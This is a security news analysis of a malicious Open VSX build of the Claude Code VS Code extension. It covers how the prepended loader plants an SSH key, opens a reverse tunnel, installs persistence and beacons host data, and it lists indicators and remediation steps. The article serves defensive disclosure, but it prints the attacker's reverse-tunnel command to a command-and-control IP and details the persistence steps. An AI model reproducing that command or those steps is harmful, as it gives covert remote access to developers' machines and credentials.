Claude Code extension backdoor: what we know
A malicious build of the Claude Code extension for VS Code was published to the Open VSX registry as version 2.1.313. Researchers at OpenSourceMalware found a 66-line loader prepended to the legitimate extension.js; when the extension module loads, it adds an attacker-controlled SSH key, tries to enable the local SSH service, opens a reverse tunnel to 134.209.82.225, and installs platform-specific persistence.
The current Open VSX release is 2.1.314, and 2.1.313 is no longer downloadable. The finding is about a specific artifact, not proof that Anthropic’s official build pipeline or Microsoft’s Marketplace was compromised. The researchers say the extension bundle and bundled binary match the normal build; only extension.js differs. Microsoft’s Marketplace listing currently shows 2.1.314, and its public version history does not show 2.1.313; the researchers still created a precautionary threat report for that version.
The distinction matters. A malicious build in one registry can reach developers who use VS Code-compatible editors that pull from Open VSX, even if the Microsoft Marketplace listing is clean. The report does not establish how the malicious build was published, who controls the command-and-control server, or whether an Anthropic employee’s publishing account was compromised.
What happened
Open VSX is an open registry for VS Code extensions, used by VSCodium, Gitpod, Theia, and other editors that do not use Microsoft’s Marketplace. The extension identifies itself as anthropic.claude-code version 2.1.313. According to the report, the owner of the affected Open VSX listing is Igor Kofman, an Anthropic employee; the report says it does not know whether his account was compromised or whether another publishing function was involved.
The package declares no install, build, prepare, preinstall, or postinstall script. The malicious behavior happens at extension runtime, not through an npm lifecycle hook. The first line of extension.js starts a standalone immediately invoked function that imports Node’s process, filesystem, operating-system, HTTP, and crypto modules; the function ends at line 66. Only after it finishes does the expected bundled extension begin.
That placement is the important part. The user does not need to start a Claude conversation. Loading the extension module is enough. The extension can keep its normal interface while the loader runs first and suppresses nearly every exception, so failed malicious steps do not stop the legitimate extension from loading.
How the loader works
The loader collects host reconnaissance at load time: hostname and local username, operating system and CPU architecture, home directory and current working directory, the global Git email from git config --global user.email, and the names of up to 40 environment variables containing KEY, TOKEN, SECRET, PASS, AWS, or GCP.
The values of those environment variables are not placed directly in the initial beacon. The names alone can still reveal which cloud providers, CI systems, and credential types are configured. More importantly, the SSH access described below would let an operator inspect the account directly.
If a home directory is available, the loader creates ~/.ssh with mode 0700 and appends an Ed25519 key to ~/.ssh/authorized_keys. The key is labeled svc-telemetry, a comment chosen to look like an administrative account. Its fingerprint is:
SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
The loader sets authorized_keys to mode 0600 and avoids adding a duplicate if the marker already exists. It then tries to make the host reachable over SSH. On macOS it checks Remote Login and, if disabled, runs sudo -n systemsetup -setremotelogin on. On Linux it checks sshd or ssh with systemctl and tries several service-start commands. On Windows it uses PowerShell to install OpenSSH Server, configure automatic startup, and start sshd. These steps may fail without privileges, but failure does not stop the rest of the chain.
Persistence and the tunnel
The loader embeds a base64-encoded OpenSSH private key and decodes it into a temporary file named .stk_<identifier>, where the identifier derives from the hostname and home directory. The decoded private key has this SHA-256 hash:
7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278
It repeatedly connects to [email protected] and asks the remote server to allocate a port and forward connections through the tunnel to port 22 on the victim:
ssh -N -R '*:0:localhost:22' [email protected]
Whether that allocated port is reachable beyond the command-and-control host depends on the server’s SSH configuration, but the operator controlling the server can use the tunnel directly. The connection disables host-key verification, ignores the user’s known-hosts file, uses the embedded identity exclusively, and reconnects after 60 seconds. On Unix-like systems it prefers autossh and otherwise uses ssh.
The loader attempts persistence on three platforms; success depends on the operating system and the privileges available:
| Platform | Persistence |
|---|---|
| macOS | Writes ~/.config/.smt and ~/.config/.smtk, plus ~/Library/LaunchAgents/com.apple.sysmond.plist. The LaunchAgent uses RunAtLoad and KeepAlive and is loaded with launchctl load -w. The name looks like an Apple component; it is not. |
| Linux | Writes the same files under ~/.config and adds an @reboot entry to the user’s crontab. |
| Windows | Writes .config\smt.cmd and .config\smtk, then tries to create an on-start scheduled task named SysMon running as SYSTEM. If that cannot be confirmed, it copies sysmon.cmd into the user’s Startup folder. |
After 1.5 seconds, the malware obtains the host’s public IP with curl -s --max-time 4 ifconfig.me and curl -s --max-time 4 https://api.ipify.org, then sends the collected JSON to http://127.0.0.1:8099/beacon and http://134.209.82.225:8099/beacon. The response is discarded. The injected stage has no response-to-code path, and the returned data is not saved as a payload or configuration. The report found no second-stage download; the shell scripts and tunnel key are embedded in the extension. That does not reduce the severity, because the first stage already adds an SSH key and opens a tunnel.
What is confirmed, what is not
Confirmed: the analyzed Open VSX artifact is malicious; the loader runs before the legitimate extension; the SSH key, reverse tunnel, persistence files, and beacon are present in the code; the current Open VSX release is 2.1.314 and 2.1.313 is no longer available.
Not confirmed: how the malicious build was published; whether the employee’s account or a publishing function was compromised; whether Microsoft’s Marketplace ever served 2.1.313; who owns or controls 134.209.82.225; and who is behind the attack. The report says the evidence supports conclusions about the analyzed artifact only, and that distribution source, attacker identity, infrastructure ownership, and the status of any official release remain unverified.
The Microsoft Marketplace version history currently shows 2.1.314 and 2.1.312, not 2.1.313. That is evidence about the public listing now, not a complete history of what every registry served or when. The researchers’ precautionary threat report for the Marketplace build is not the same thing as confirmation that the Marketplace build was malicious.
How to check a machine
Start with the extension version and source. In VS Code, open the Extensions view, select Claude Code, and check the version and publisher. If the machine uses VSCodium, Gitpod, Theia, or another Open VSX-backed editor, check the Open VSX listing history, not only the Microsoft Marketplace page.
On macOS or Linux, inspect the user’s authorized_keys file for the svc-telemetry comment or the fingerprint above. Check for the persistence files and labels, and look for a long-running ssh or autossh process carrying -R *:0:localhost:22.
| Check | What to look for |
|---|---|
| SSH keys | ~/.ssh/authorized_keys containing svc-telemetry or the fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk. |
| macOS | ~/Library/LaunchAgents/com.apple.sysmond.plist; ~/.config/.smt; ~/.config/.smtk. |
| Linux | ~/.config/.smt; ~/.config/.smtk; a crontab @reboot entry that launches the tunnel script. |
| Windows | .config\smt.cmd; .config\smtk; scheduled task SysMon; sysmon.cmd in the Startup folder. |
| Network | Connections to 134.209.82.225 on port 22 or 8099; HTTP beacon paths ending in /beacon. |
| Processes | ssh or autossh with -R *:0:localhost:22, especially long-running sessions. |
A negative check is not proof of safety. The loader suppresses errors, and a tunnel can be opened only after the extension loads. If the extension version is 2.1.313 from Open VSX, treat the host as potentially compromised even if the obvious files are missing.
If the extension ran
Removing the extension is not enough. The loader adds an SSH key, installs a LaunchAgent, cron entry, scheduled task, or Startup item, and starts a reverse tunnel. Those artifacts survive extension removal. The report’s recommended order is to disconnect the system, preserve forensic evidence, block 134.209.82.225 on ports 22 and 8099, and only then remove the extension and persistence.
Rotate credentials accessible to the affected account from a known-clean system. Because the implant creates an interactive SSH path, the observable files may not represent the full compromise. Review SSH, shell, process, VS Code, authentication, and network logs for follow-on activity. Rebuilding the host is safer than assuming that deleting the known files restores trust.
If the machine belongs to an organization, treat this as a potential supply-chain incident, not a single-user malware cleanup. The loader enumerates environment-variable names that can reveal cloud, CI, and credential types, and the SSH path gives an operator direct access to the account. The blast radius is the set of credentials and repositories that account can reach.
The wider lesson
The malicious code did not need a vulnerability in Claude Code. It was the extension. AI coding tools run with developer privileges, read source code, execute commands with approval, and hold credentials; that makes their extension ecosystem a high-value supply-chain target. A trusted name and a normal-looking interface are not integrity checks.
For developers, the practical controls are boring but effective: pin extension versions, verify the publisher and registry, prefer verified Marketplace builds where possible, audit authorized_keys and launch persistence, and watch egress from developer machines. For vendors, the incident is a reminder that publishing credentials and release provenance are part of the product security boundary, not an operational detail.
The report is careful about attribution, and readers should be too. The artifact is malicious; the distribution path and the identity behind it are still under investigation. That is enough reason to check machines and rotate keys, without claiming more than the evidence shows.
Sources and references
- OpenSourceMalware, Trojanized Claude Code Extension Plants an SSH Backdoor, October 30, 2026.
- Open VSX, Claude Code for VS Code; the current listing is version 2.1.314, and the 2.1.313 artifact is no longer downloadable.
- Microsoft, Claude Code for VS Code; the public listing currently shows version 2.1.314.
- OpenSourceMalware, Open VSX threat report and VS Code threat report.
